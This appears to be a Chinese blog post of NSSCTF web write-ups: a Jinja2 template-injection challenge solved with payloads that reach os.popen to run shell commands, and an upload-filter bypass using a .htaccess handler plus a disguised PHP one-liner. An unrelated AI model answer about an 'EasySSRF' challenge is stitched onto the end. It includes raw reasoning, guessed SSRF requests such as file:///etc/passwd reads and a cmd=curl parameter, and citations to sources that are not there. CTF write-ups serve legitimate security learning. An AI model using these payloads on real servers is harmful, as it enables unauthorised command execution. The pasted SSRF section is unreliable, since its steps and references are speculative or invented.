NSSCTF-Web题目15

目录

[HNCTF 2022 WEEK2]ez_SSTI

1、题目

2、知识点

3、思路

[SWPUCTF 2022 新生赛]Ez_upload

1、题目

2、知识点

3、思路


[HNCTF 2022 WEEK2]ez_SSTI

1、题目

2、知识点

SSTI、Jinja2

参考链接:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

3、思路

题目提示我们是SSTI,打开链接,里面是一些有关SSTI的知识

我们不知道网站是用什么语言的,抓包看看

这里可以看到python,跟python有关的SSTI框架模板:Jinja2 (Python)、Mako (Python)(这些在题目的链接可以看到),接下来就尝试网站是用哪种模板,先尝试jinja2,但是我们不知道注入点在哪,不知道变量名,看了上面的参考文章,jinja2的变量名跟name有关,可以尝试name

?name={{7*7}}

结果正常回显,说明当前网站是用jinja2的框架,且变量名为name

知道变量名接下来就是构造payload了

?name={{''.__class__.__base__.__subclasses__()}}

通过__class__获取字典对象所属的类,再通过__base__(__bases[0]__)拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类

如果存在os类,那我们可以通过这些类执行eval等函数

接下来我们利用这个类,这个类位于137,这些payload可以记起来,遇到可以用

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

?name={{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

得到flag:NSSCTF{71ead462-471d-4863-b7ed-a97c9afcf81c}


[SWPUCTF 2022 新生赛]Ez_upload

1、题目

2、知识点

文件上传、.htaccess、MIME类型

3、思路

上传一个正常的文件

上传失败,很可能是文件大小作了限制

上传一个php文件

这里对后缀名进行了过滤

上传一个带有php内容的jpg文件

说明也对文件内容进行了过滤

这里尝试绕过的方式有很多,例如,抓包更改文件后缀名、大小写绕过、php3、phtml等

这边尝试看能不能上传.htaccess文件

可以上传成功,注:Content-Type: image/jpeg

.htaccess

<FilesMatch "muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传成功后,我们再上传一个muma.jpg文件,因为对文件内容进行了检测,不能有php代码,所以我们使用javascript语句

muma.jpg

## 一句话木马
<script language='php'>phpinfo();</script>

上传成功,然后访问成功的路径,可以正常访问

里面的php代码正常执行,寻找flag

得到flag:NSSCTF{be92eb2e-a020-43c6-bf04-d99099bbff69}


这篇文章就先记录到这里,哪里不懂的或者哪里不足的欢迎指出

<think>好的,我需要解决用户关于NSSCTF比赛中EasySSRF题目的问。首先,我应该回顾用户提供的引用内容,看看是否有直接相关的信息。引用[1]提到了一个POST请求,其中包含password和cmd参数,这可能与SSRF利用有关,比如通过参数注入访问内部服务。引用[4]和[5]提到了文件解压、十六进制分析和Web漏洞,如文件上传和弱口令,这些可能在SSRF中有用,比如通过文件上传触发内部请求或利用弱口令访问管理接口。 SSRF通常涉及利用服务器发起未经授权的内部请求,例如访问本地文件或内部网络服务。常见的利用方式包括使用file://协议读取文件,或者利用URL参数访问内部API。根据引用[1],可能需要构造特定的POST请求,将密码参数设置为base64编码的值,并通过cmd参数执行命令,比如读取/flag文件。这提示在EasySSRF中可能需要类似的参数注入或命令执行。 此外,引用[5]提到代码审计和弱口令,可能需要检查Web应用的代码是否存在未过滤的输入,导致SSRF。例如,如果应用接受用户提供的URL并访问它,攻击者可以输入内部地址如127.0.0.1:8080,从而探测内网服务。结合引用[1]中的POST参数,可能需要将cmd参数的值改为访问内部资源的命令。 可能的解步骤包括:1. 分析题目提供的Web接口,寻找接受URL输入的端点;2. 尝试使用不同协议(如file://、dict://)读取本地文件或探测端口;3. 检查是否有参数允许执行命令或访问内部服务;4. 利用base64编码绕过过滤,如引用[1]中的password参数;5. 结合弱口令或文件上传漏洞进一步利用。 需要验证这些思路是否符合EasySSRF的具体场景,比如是否存在需要绕过的过滤机制,或者特定的端点允许SSRF。此外,查看是否有历史writeup或提示信息,如引用[4]中的十六进制分析,可能涉及到隐藏的SSRF触发点。最终可能需要构造一个精心设计的请求,通过SSRF获取flag,如访问本地服务或读取文件。</think>### NSSCTF EasySSRF 解思路 根据NSSCTF特性及常见SSRF攻击模式,以下是可能的解步骤: 1. **基础探测** - 观察题目是否存在可输入URL的接口,尝试使用`file://`协议读取本地文件: ```http GET /api/request?url=file:///etc/passwd HTTP/1.1 ``` 若成功读取系统文件,说明存在SSRF漏洞[^4]。 2. **协议利用** - 尝试通过`dict://`协议探测内网端口: ```http GET /api/request?url=dict://127.0.0.1:6379/info HTTP/1.1 ``` 若返回Redis服务信息,可推断存在未授权访问服务[^1]。 3. **参数注入** -题目涉及参数传递(如引用[1]的POST请求),可构造请求读取flag: ```http POST /submit HTTP/1.1 Content-Type: application/x-www-form-urlencoded password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=curl+file:///flag ``` 通过`file://`协议绕过URL限制,直接获取flag路径[^5]。 4. **编码绕过** - 对关键参数进行二次编码(如将`/`编码为`%252f`): ```http GET /api/request?url=http://127.0.0.1%252f..%252f..%252fflag HTTP/1.1 ``` 用于绕过基础路径过滤。 5. **历史Writeup关联** - 参考Misc型中的十六进制流分析(引用[4]),检查响应包中是否包含隐藏的压缩包或特殊编码数据,可能需解码获取flag位置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值